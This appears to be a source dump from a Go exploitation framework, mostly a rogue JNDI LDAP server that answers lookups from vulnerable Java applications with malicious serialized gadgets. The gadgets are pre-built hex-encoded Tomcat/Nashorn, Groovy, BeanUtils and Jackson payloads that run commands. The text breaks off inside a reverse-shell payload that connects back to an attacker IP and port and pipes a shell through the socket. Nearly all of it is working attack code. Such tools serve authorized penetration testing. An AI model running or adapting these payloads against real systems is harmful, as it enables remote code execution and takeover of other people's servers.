+\n\t\t\"\\x53\\x65\\x71\\x75\\x65\\x6e\\x63\\x65\\x3b\\x78\\x72\\x00\\x25\\x6f\\x72\\x67\\x2e\" +\n\t\t\"\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x53\\x65\\x71\\x75\\x65\" +\n\t\t\"\\x6e\\x63\\x65\\x49\\x6e\\x64\\x65\\x78\\x44\\x65\\x6c\\x65\\x67\\x61\\x74\\x65\\xbd\" +\n\t\t\"\\xf7\\xd0\\x89\\x74\\xda\\xbf\\x8e\\x02\\x00\\x00\\x78\\x70\\x71\\x00\\x7e\\x00\\x29\" +\n\t\t\"\\x70\\x74\\x00\\x38\\x5f\\x5f\\x69\\x6d\\x70\\x6f\\x72\\x74\\x5f\\x5f\\x28\\x27\\x63\" +\n\t\t\"\\x6f\\x64\\x65\\x27\\x29\\x2e\\x49\\x6e\\x74\\x65\\x72\\x61\\x63\\x74\\x69\\x76\\x65\" +\n\t\t\"\\x49\\x6e\\x74\\x65\\x72\\x70\\x72\\x65\\x74\\x65\\x72\\x28\\x29\\x2e\\x72\\x75\\x6e\" +\n\t\t\"\\x63\\x6f\\x64\\x65\\x28\\x63\\x6d\\x64\\x29\\x73\\x72\\x00\\x1b\\x6f\\x72\\x67\\x2e\" +\n\t\t\"\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x50\\x79\\x53\\x74\\x72\" +\n\t\t\"\\x69\\x6e\\x67\\x4d\\x61\\x70\\x91\\x35\\xc6\\xcf\\x24\\x1d\\x43\\x33\\x02\\x00\\x01\" +\n\t\t\"\\x4c\\x00\\x05\\x74\\x61\\x62\\x6c\\x65\\x74\\x00\\x24\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x75\\x74\\x69\\x6c\\x2f\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x2f\\x43\" +\n\t\t\"\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x4d\\x61\\x70\\x3b\\x78\\x72\\x00\\x1c\" +\n\t\t\"\\x6f\\x72\\x67\\x2e\\x70\\x79\\x74\\x68\\x6f\\x6e\\x2e\\x63\\x6f\\x72\\x65\\x2e\\x41\" +\n\t\t\"\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x44\\x69\\x63\\x74\\x35\\x2d\\x79\\xf3\\x97\\xd9\" +\n\t\t\"\\x35\\xeb\\x02\\x00\\x00\\x78\\x71\\x00\\x7e\\x00\\x09\\x70\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x0d\\x71\\x00\\x7e\\x00\\x11\\x74\\x00\\x09\\x73\\x74\\x72\\x69\\x6e\\x67\\x6d\\x61\" +\n\t\t\"\\x70\\x76\\x71\\x00\\x7e\\x00\\x2f\\x73\\x72\\x00\\x26\\x6a\\x61\\x76\\x61\\x2e\\x75\" +\n\t\t\"\\x74\\x69\\x6c\\x2e\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x2e\\x43\\x6f\" +\n\t\t\"\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x48\\x61\\x73\\x68\\x4d\\x61\\x70\\x64\\x99\" +\n\t\t\"\\xde\\x12\\x9d\\x87\\x29\\x3d\\x03\\x00\\x03\\x49\\x00\\x0b\\x73\\x65\\x67\\x6d\\x65\" +\n\t\t\"\\x6e\\x74\\x4d\\x61\\x73\\x6b\\x49\\x00\\x0c\\x73\\x65\\x67\\x6d\\x65\\x6e\\x74\\x53\" +\n\t\t\"\\x68\\x69\\x66\\x74\\x5b\\x00\\x08\\x73\\x65\\x67\\x6d\\x65\\x6e\\x74\\x73\\x74\\x00\" +\n\t\t\"\\x31\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x63\\x6f\\x6e\\x63\" +\n\t\t\"\\x75\\x72\\x72\\x65\\x6e\\x74\\x2f\\x43\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\" +\n\t\t\"\\x48\\x61\\x73\\x68\\x4d\\x61\\x70\\x24\\x53\\x65\\x67\\x6d\\x65\\x6e\\x74\\x3b\\x78\" +\n\t\t\"\\x70\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x1c\\x75\\x72\\x00\\x31\\x5b\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\" +\n\t\t\"\\x74\\x2e\\x43\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x48\\x61\\x73\\x68\\x4d\" +\n\t\t\"\\x61\\x70\\x24\\x53\\x65\\x67\\x6d\\x65\\x6e\\x74\\x3b\\x52\\x77\\x3f\\x41\\x32\\x9b\" +\n\t\t\"\\x39\\x74\\x02\\x00\\x00\\x78\\x70\\x00\\x00\\x00\\x10\\x73\\x72\\x00\\x2e\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\" +\n\t\t\"\\x74\\x2e\\x43\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x48\\x61\\x73\\x68\\x4d\" +\n\t\t\"\\x61\\x70\\x24\\x53\\x65\\x67\\x6d\\x65\\x6e\\x74\\x1f\\x36\\x4c\\x90\\x58\\x93\\x29\" +\n\t\t\"\\x3d\\x02\\x00\\x01\\x46\\x00\\x0a\\x6c\\x6f\\x61\\x64\\x46\\x61\\x63\\x74\\x6f\\x72\" +\n\t\t\"\\x78\\x72\\x00\\x28\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x63\\x6f\\x6e\" +\n\t\t\"\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x2e\\x6c\\x6f\\x63\\x6b\\x73\\x2e\\x52\\x65\\x65\" +\n\t\t\"\\x6e\\x74\\x72\\x61\\x6e\\x74\\x4c\\x6f\\x63\\x6b\\x66\\x55\\xa8\\x2c\\x2c\\xc8\\x6a\" +\n\t\t\"\\xeb\\x02\\x00\\x01\\x4c\\x00\\x04\\x73\\x79\\x6e\\x63\\x74\\x00\\x2f\\x4c\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2f\\x75\\x74\\x69\\x6c\\x2f\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\" +\n\t\t\"\\x74\\x2f\\x6c\\x6f\\x63\\x6b\\x73\\x2f\\x52\\x65\\x65\\x6e\\x74\\x72\\x61\\x6e\\x74\" +\n\t\t\"\\x4c\\x6f\\x63\\x6b\\x24\\x53\\x79\\x6e\\x63\\x3b\\x78\\x70\\x73\\x72\\x00\\x34\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\" +\n\t\t\"\\x6e\\x74\\x2e\\x6c\\x6f\\x63\\x6b\\x73\\x2e\\x52\\x65\\x65\\x6e\\x74\\x72\\x61\\x6e\" +\n\t\t\"\\x74\\x4c\\x6f\\x63\\x6b\\x24\\x4e\\x6f\\x6e\\x66\\x61\\x69\\x72\\x53\\x79\\x6e\\x63\" +\n\t\t\"\\x65\\x88\\x32\\xe7\\x53\\x7b\\xbf\\x0b\\x02\\x00\\x00\\x78\\x72\\x00\\x2d\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\" +\n\t\t\"\\x74\\x2e\\x6c\\x6f\\x63\\x6b\\x73\\x2e\\x52\\x65\\x65\\x6e\\x74\\x72\\x61\\x6e\\x74\" +\n\t\t\"\\x4c\\x6f\\x63\\x6b\\x24\\x53\\x79\\x6e\\x63\\xb8\\x1e\\xa2\\x94\\xaa\\x44\\x5a\\x7c\" +\n\t\t\"\\x02\\x00\\x00\\x78\\x72\\x00\\x35\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\" +\n\t\t\"\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\\x74\\x2e\\x6c\\x6f\\x63\\x6b\\x73\\x2e\" +\n\t\t\"\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x51\\x75\\x65\\x75\\x65\\x64\\x53\\x79\\x6e\" +\n\t\t\"\\x63\\x68\\x72\\x6f\\x6e\\x69\\x7a\\x65\\x72\\x66\\x55\\xa8\\x43\\x75\\x3f\\x52\\xe3\" +\n\t\t\"\\x02\\x00\\x01\\x49\\x00\\x05\\x73\\x74\\x61\\x74\\x65\\x78\\x72\\x00\\x36\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x63\\x6f\\x6e\\x63\\x75\\x72\\x72\\x65\\x6e\" +\n\t\t\"\\x74\\x2e\\x6c\\x6f\\x63\\x6b\\x73\\x2e\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x4f\" +\n\t\t\"\\x77\\x6e\\x61\\x62\\x6c\\x65\\x53\\x79\\x6e\\x63\\x68\\x72\\x6f\\x6e\\x69\\x7a\\x65\" +\n\t\t\"\\x72\\x33\\xdf\\xaf\\xb9\\xad\\x6d\\x6f\\xa9\\x02\\x00\\x00\\x78\\x70\\x00\\x00\\x00\" +\n\t\t\"\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\" +\n\t\t\"\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\" +\n\t\t\"\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\" +\n\t\t\"\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\" +\n\t\t\"\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\" +\n\t\t\"\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\" +\n\t\t\"\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\" +\n\t\t\"\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\" +\n\t\t\"\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\\x71\\x00\\x7e\" +\n\t\t\"\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\\x00\\x3b\\x73\" +\n\t\t\"\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x73\\x71\\x00\\x7e\" +\n\t\t\"\\x00\\x3b\\x73\\x71\\x00\\x7e\\x00\\x3f\\x00\\x00\\x00\\x00\\x3f\\x40\\x00\\x00\\x74\" +\n\t\t\"\\x00\\x03\\x63\\x6d\\x64\\x73\\x71\\x00\\x7e\\x00\\x23\\x70\\x71\\x00\\x7e\\x00\\x21\" +\n\t\t\"\\x73\\x71\\x00\\x7e\\x00\\x2a\\x71\\x00\\x7e\\x00\\x63\\x70\\x74\" +\n\t\ttransform.PackBigInt16(len(payload)) +\n\t\tpayload +\n\t\t\"\\x70\\x70\\x78\\x78\"\n}\n"
  },
  {
    "path": "java/ldapjndi/ldapjndi.go",
    "content": "// This is an implementation of an evil JNDI LDAP server. The server accepts\n// connections and returned a malicious serialized object in response to\n// a search. Serialization is obviously native to Java. To work around this,\n// we pre-serialized some gadgets that use Nashorn as their sink. The desired\n// command is inserted into the pre-compiled gadget (and padded if needed). Not\n// perfect, but not half bad, I think. Inspiration from:\n//\n// * https://github.com/veracode-research/rogue-jndi\n// * https://github.com/For-ACGN/Log4Shell\n// * https://github.com/zzwlpx/JNDIExploit\npackage ldapjndi\n\nimport (\n\tb64 \"encoding/base64\"\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\n\tmessage \"github.com/lor00x/goldap/message\"\n\tldap \"github.com/vjeantet/ldapserver\"\n\t\"github.com/vulncheck-oss/go-exploit/java\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n)\n\n// mapping of available pre-serialized gadgets.\ntype GadgetName int\n\nconst (\n\t// org.apache.naming.factory.BeanFactory + javax.el.ELProcessor#eval (windows + Linux).\n\tTomcatNashornReverseShell GadgetName = 0\n\t// org.apache.naming.factory.BeanFactory + javax.el.ELProcessor#eval (linux only).\n\tTomcatGenericBash GadgetName = 1\n\tGroovyGenericBash GadgetName = 2\n\t// org.apache.naming.factory.BeanFactory.\n\tBeanUtils194GenericBash GadgetName = 3\n\t// load class via an HTTP server.\n\tHTTPReverseShell GadgetName = 4\n\t// See implementation in java.JacksonGenericCommand.\n\tJacksonGenericCommand GadgetName = 5\n)\n\n// a dirty way to pass the user's desired gadget to `handleBind`.\nvar GlobalSerializedPayload string\n\n// a dirty way to pass the user's desired name to `handleBind`.\nvar GlobalName string\n\n// if the class is loaded from a secondary http server, this will be set.\nvar GlobalHTTPServer string\n\n// automatically accept.\nfunc handleBind(w ldap.ResponseWriter, _ *ldap.Message) {\n\toutput.PrintFrameworkSuccess(\"Received a bind request!\")\n\tres := ldap.NewBindResponse(ldap.LDAPResultSuccess)\n\tw.Write(res)\n}\n\n// Accept the incoming request. Verify it is asking for the correct endpoint\n// and then send the user's requested gadget'.\nfunc handleSearch(writer ldap.ResponseWriter, msg *ldap.Message) {\n\tif len(GlobalSerializedPayload) == 0 {\n\t\toutput.PrintFrameworkError(\"A serialized payload was never configured!\")\n\t}\n\n\treq := msg.GetSearchRequest()\n\tdname := string(req.BaseObject())\n\n\tif dname != GlobalName {\n\t\toutput.PrintfFrameworkError(\"Received an unexpected request: %s != %s\\n\", dname, GlobalName)\n\n\t\treturn\n\t}\n\n\t// send search result\n\tres := ldap.NewSearchResultEntry(dname)\n\tif strings.HasPrefix(GlobalSerializedPayload, \"\\xca\\xfe\\xba\\xbe\") {\n\t\tres.AddAttribute(\"javaClassName\", \"foo\")\n\t\tres.AddAttribute(\"javaCodeBase\", message.AttributeValue(GlobalHTTPServer))\n\t\tres.AddAttribute(\"objectClass\", \"javaNamingReference\")\n\t\tres.AddAttribute(\"javaFactory\", message.AttributeValue(GlobalName))\n\t} else {\n\t\tres.AddAttribute(\"javaClassName\", \"java.lang.String\")\n\t\tres.AddAttribute(\"javaSerializedData\", message.AttributeValue(GlobalSerializedPayload))\n\t}\n\twriter.Write(res)\n\n\tdone := ldap.NewSearchResultDoneResponse(ldap.LDAPResultSuccess)\n\twriter.Write(done)\n\toutput.PrintFrameworkSuccess(\"Serialized payload sent!\")\n}\n\nfunc CreateLDAPServer(name string) *ldap.Server {\n\t// disable logging from the ldap implementation\n\tldap.Logger = log.New(io.Discard, \"\", 0)\n\n\tserver := ldap.NewServer()\n\tif server == nil {\n\t\treturn nil\n\t}\n\n\t// attach our functions to bind and search\n\troutes := ldap.NewRouteMux()\n\troutes.Bind(handleBind)\n\troutes.Search(handleSearch)\n\tserver.Handle(routes)\n\n\t// set a name so that we aren't tossing exploits at just anyone\n\tGlobalName = name\n\n\treturn server\n}\n\nfunc SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, command string) {\n\tswitch gadget {\n\tcase TomcatNashornReverseShell:\n\t\tGlobalSerializedPayload = createTomcatNashornReverseShell(binary, lhost, lport)\n\tcase TomcatGenericBash:\n\t\tGlobalSerializedPayload = createTomcatGenericGadget(command)\n\tcase GroovyGenericBash:\n\t\tGlobalSerializedPayload = createGroovyGenericBash(command)\n\tcase BeanUtils194GenericBash:\n\t\tGlobalSerializedPayload = createBeanUtils194GenericBash(command)\n\tcase JacksonGenericCommand:\n\t\tvar err error\n\t\tif GlobalSerializedPayload, err = java.JacksonGenericCommand(command); err != nil {\n\t\t\toutput.PrintFrameworkError(err.Error())\n\t\t}\n\tcase HTTPReverseShell:\n\t\tfallthrough\n\tdefault:\n\t\toutput.PrintFrameworkError(\"[-] Invalid payload\")\n\t}\n}\n\nfunc SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHost string, httpPort int) {\n\tswitch gadget {\n\tcase HTTPReverseShell:\n\t\tGlobalSerializedPayload = createHTTPReverseShell(lhost, lport, GlobalName)\n\tcase TomcatNashornReverseShell:\n\t\tfallthrough\n\tcase TomcatGenericBash:\n\t\tfallthrough\n\tcase GroovyGenericBash:\n\t\tfallthrough\n\tcase BeanUtils194GenericBash:\n\t\tfallthrough\n\tcase JacksonGenericCommand:\n\t\tfallthrough\n\tdefault:\n\t\toutput.PrintFrameworkError(\"Invalid payload\")\n\n\t\treturn\n\t}\n\n\tGlobalHTTPServer = \"http://\" + httpHost + \":\" + strconv.Itoa(httpPort) + \"/\"\n\thttp.HandleFunc(\"/\"+GlobalName+\".class\", func(w http.ResponseWriter, _ *http.Request) {\n\t\tfmt.Fprint(w, GlobalSerializedPayload)\n\t})\n\n\toutput.PrintfFrameworkStatus(\"Starting HTTP Server on %s:%d\", httpHost, httpPort)\n\thttpFunc := func(httpHost string, httpPort int) {\n\t\t_ = http.ListenAndServe(httpHost+\":\"+strconv.Itoa(httpPort), nil)\n\t}\n\tgo httpFunc(httpHost, httpPort)\n}\n\n// this function creates a org.apache.naming.factory.BeanFactory + javax.el.ELProcessor#eval\n// payload that will execute a nashorn payload. The payload is a reverse shell. This gadget\n// has been pre-compiled (because we aren't executing from java). To make this work, the\n// function replaces three values that already exist in the binary. Specifically:\n// \"cmd.exe\" -> binary\n// \"10.9.49.242\" -> lhost\n// 1270 -> lport\n// The change in size will then be accounted for in the padding variable.\nfunc createTomcatNashornReverseShell(binary, lhost string, lport int) string {\n\tshellPayload := \"\\xac\\xed\" +\n\t\t\"\\x00\\x05\\x73\\x72\\x00\\x1d\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\" +\n\t\t\"\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x52\\x65\\x73\\x6f\\x75\\x72\\x63\\x65\" +\n\t\t\"\\x52\\x65\\x66\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x78\\x72\" +\n\t\t\"\\x00\\x1d\\x6f\\x72\\x67\\x2e\\x61\\x70\\x61\\x63\\x68\\x65\\x2e\\x6e\\x61\\x6d\" +\n\t\t\"\\x69\\x6e\\x67\\x2e\\x41\\x62\\x73\\x74\\x72\\x61\\x63\\x74\\x52\\x65\\x66\\x00\" +\n\t\t\"\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x02\\x00\\x00\\x78\\x72\\x00\\x16\\x6a\\x61\" +\n\t\t\"\\x76\\x61\\x78\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x52\\x65\\x66\\x65\\x72\" +\n\t\t\"\\x65\\x6e\\x63\\x65\\xe8\\xc6\\x9e\\xa2\\xa8\\xe9\\x8d\\x09\\x02\\x00\\x04\\x4c\" +\n\t\t\"\\x00\\x05\\x61\\x64\\x64\\x72\\x73\\x74\\x00\\x12\\x4c\\x6a\\x61\\x76\\x61\\x2f\" +\n\t\t\"\\x75\\x74\\x69\\x6c\\x2f\\x56\\x65\\x63\\x74\\x6f\\x72\\x3b\\x4c\\x00\\x0c\\x63\" +\n\t\t\"\\x6c\\x61\\x73\\x73\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x74\\x00\\x12\\x4c\\x6a\" +\n\t\t\"\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x53\\x74\\x72\\x69\\x6e\\x67\\x3b\" +\n\t\t\"\\x4c\\x00\\x14\\x63\\x6c\\x61\\x73\\x73\\x46\\x61\\x63\\x74\\x6f\\x72\\x79\\x4c\" +\n\t\t\"\\x6f\\x63\\x61\\x74\\x69\\x6f\\x6e\\x71\\x00\\x7e\\x00\\x04\\x4c\\x00\\x09\\x63\" +\n\t\t\"\\x6c\\x61\\x73\\x73\\x4e\\x61\\x6d\\x65\\x71\\x00\\x7e\\x00\\x04\\x78\\x70\\x73\" +\n\t\t\"\\x72\\x00\\x10\\x6a\\x61\\x76\\x61\\x2e\\x75\\x74\\x69\\x6c\\x2e\\x56\\x65\\x63\" +\n\t\t\"\\x74\\x6f\\x72\\xd9\\x97\\x7d\\x5b\\x80\\x3b\\xaf\\x01\\x03\\x00\\x03\\x49\\x00\" +\n\t\t\"\\x11\\x63\\x61\\x70\\x61\\x63\\x69\\x74\\x79\\x49\\x6e\\x63\\x72\\x65\\x6d\\x65\" +\n\t\t\"\\x6e\\x74\\x49\\x00\\x0c\\x65\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x43\\x6f\\x75\\x6e\" +\n\t\t\"\\x74\\x5b\\x00\\x0b\\x65\\x6c\\x65\\x6d\\x65\\x6e\\x74\\x44\\x61\\x74\\x61\\x74\" +\n\t\t\"\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2f\\x6c\\x61\\x6e\\x67\\x2f\\x4f\\x62\" +\n\t\t\"\\x6a\\x65\\x63\\x74\\x3b\\x78\\x70\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x75\" +\n\t\t\"\\x72\\x00\\x13\\x5b\\x4c\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x4f\" +\n\t\t\"\\x62\\x6a\\x65\\x63\\x74\\x3b\\x90\\xce\\x58\\x9f\\x10\\x73\\x29\\x6c\\x02\\x00\" +\n\t\t\"\\x00\\x78\\x70\\x00\\x00\\x00\\x0a\\x73\\x72\\x00\\x1a\\x6a\\x61\\x76\\x61\\x78\" +\n\t\t\"\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\\x2e\\x53\\x74\\x72\\x69\\x6e\\x67\\x52\\x65\" +\n\t\t\"\\x66\\x41\\x64\\x64\\x72\\x84\\x4b\\xf4\\x3c\\xe1\\x11\\xdc\\xc9\\x02\\x00\\x01\" +\n\t\t\"\\x4c\\x00\\x08\\x63\\x6f\\x6e\\x74\\x65\\x6e\\x74\\x73\\x71\\x00\\x7e\\x00\\x04\" +\n\t\t\"\\x78\\x72\\x00\\x14\\x6a\\x61\\x76\\x61\\x78\\x2e\\x6e\\x61\\x6d\\x69\\x6e\\x67\" +\n\t\t\"\\x2e\\x52\\x65\\x66\\x41\\x64\\x64\\x72\\xeb\\xa0\\x07\\x9a\\x02\\x38\\xaf\\x4a\" +\n\t\t\"\\x02\\x00\\x01\\x4c\\x00\\x08\\x61\\x64\\x64\\x72\\x54\\x79\\x70\\x65\\x71\\x00\" +\n\t\t\"\\x7e\\x00\\x04\\x78\\x70\\x74\\x00\\x05\\x73\\x63\\x6f\\x70\\x65\\x74\\x00\\x00\" +\n\t\t\"\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\\x04\\x61\\x75\\x74\\x68\\x71\\x00\\x7e\" +\n\t\t\"\\x00\\x0f\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\\x09\\x73\\x69\\x6e\\x67\\x6c\" +\n\t\t\"\\x65\\x74\\x6f\\x6e\\x74\\x00\\x04\\x74\\x72\\x75\\x65\\x73\\x71\\x00\\x7e\\x00\" +\n\t\t\"\\x0b\\x74\\x00\\x0b\\x66\\x6f\\x72\\x63\\x65\\x53\\x74\\x72\\x69\\x6e\\x67\\x74\" +\n\t\t\"\\x00\\x06\\x78\\x3d\\x65\\x76\\x61\\x6c\\x73\\x71\\x00\\x7e\\x00\\x0b\\x74\\x00\" +\n\t\t\"\\x01\\x78\\x74\\x02\\xad\\x7b\\x22\\x22\\x2e\\x67\\x65\\x74\\x43\\x6c\\x61\\x73\" +\n\t\t\"\\x73\\x28\\x29\\x2e\\x66\\x6f\\x72\\x4e\\x61\\x6d\\x65\\x28\\x22\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x78\\x2e\\x73\\x63\\x72\\x69\\x70\\x74\\x2e\\x53\\x63\\x72\\x69\\x70\\x74\" +\n\t\t\"\\x45\\x6e\\x67\\x69\\x6e\\x65\\x4d\\x61\\x6e\\x61\\x67\\x65\\x72\\x22\\x29\\x2e\" +\n\t\t\"\\x6e\\x65\\x77\\x49\\x6e\\x73\\x74\\x61\\x6e\\x63\\x65\\x28\\x29\\x2e\\x67\\x65\" +\n\t\t\"\\x74\\x45\\x6e\\x67\\x69\\x6e\\x65\\x42\\x79\\x4e\\x61\\x6d\\x65\\x28\\x22\\x4a\" +\n\t\t\"\\x61\\x76\\x61\\x53\\x63\\x72\\x69\\x70\\x74\\x22\\x29\\x2e\\x65\\x76\\x61\\x6c\" +\n\t\t\"\\x28\\x27\\x76\\x61\\x72\\x20\\x68\\x6f\\x73\\x74\\x3d\\x22\\x31\\x30\\x2e\\x39\" +\n\t\t\"\\x2e\\x34\\x39\\x2e\\x32\\x34\\x32\\x22\\x3b\\x76\\x61\\x72\\x20\\x70\\x6f\\x72\" +\n\t\t\"\\x74\\x3d\\x31\\x32\\x37\\x30\\x3b\\x76\\x61\\x72\\x20\\x63\\x6d\\x64\\x3d\\x22\" +\n\t\t\"\\x63\\x6d\\x64\\x2e\\x65\\x78\\x65\\x22\\x3b\\x76\\x61\\x72\\x20\\x70\\x3d\\x6e\" +\n\t\t\"\\x65\\x77\\x20\\x6a\\x61\\x76\\x61\\x2e\\x6c\\x61\\x6e\\x67\\x2e\\x50\\x72\\x6f\" +\n\t\t\"\\x63\\x65\\x73\\x73\\x42\\x75\\x69\\x6c\\x64\\x65\\x72\\x28\\x63\\x6d\\x64\\x29\" +\n\t\t\"\\x2e\\x72\\x65\\x64\\x69\\x72\\x65\\x63\\x74\\x45\\x72\\x72\\x6f\\x72\\x53\\x74\" +\n\t\t\"\\x72\\x65\\x61\\x6d\\x28\\x74\\x72\\x75\\x65\\x29\\x2e\\x73\\x74\\x61\\x72\\x74\" +\n\t\t\"\\x28\\x29\\x3b\\x76\\x61\\x72\\x20\\x73\\x3d\\x6e\\x65\\x77\\x20\\x6a\\x61\\x76\" +\n\t\t\"\\x61\\x2e\\x6e\\x65\\x74\\x2e\\x53\\x6f\\x63\\x6b\\x65\\x74\\x28\\x68\\x6f\\x73\" +\n\t\t\"\\x74\\x2c\\x70\\x6f\\x72\\x74\\x29\\x3b\\x76\\x61\\x72\\x20\\x70\\x69\\x3d\\x70\" +\n\t\t\"\\x2e\\x67\\x65\\x74\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x28\" +\n\t\t\"\\x29\\x2c\\x70\\x65\\x3d\\x70\\x2e\\x67\\x65\\x74\\x45\\x72\\x72\\x6f\\x72\\x53\" +\n\t\t\"\\x74\\x72\\x65\\x61\\x6d\\x28\\x29\\x2c\\x20\\x73\\x69\\x3d\\x73\\x2e\\x67\\x65\" +\n\t\t\"\\x74\\x49\\x6e\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x28\\x29\\x3b\\x76\" +\n\t\t\"\\x61\\x72\\x20\\x70\\x6f\\x3d\\x70\\x2e\\x67\\x65\\x74\\x4f\\x75\\x74\\x70\\x75\" +\n\t\t\"\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x28\\x29\\x2c\\x73\\x6f\\x3d\\x73\\x2e\\x67\" +\n\t\t\"\\x65\\x74\\x4f\\x75\\x74\\x70\\x75\\x74\\x53\\x74\\x72\\x65\\x61\\x6d\\x28\\x29\" +\n\t\t\"\\x3b\\x77\\x68\\x69\\x6c\\x65\\x28\\x21\\x73\\x2e\\x69\\x73\\x43\\x6c\\x6f\\x73\" +\n\t\t\"\\x65\\x64\\x28\\x29\\x29\\x7b\\x77\\x68\\x69\\x6c\\x65\\x28\\x70\\x69\\x2e\\x61\" 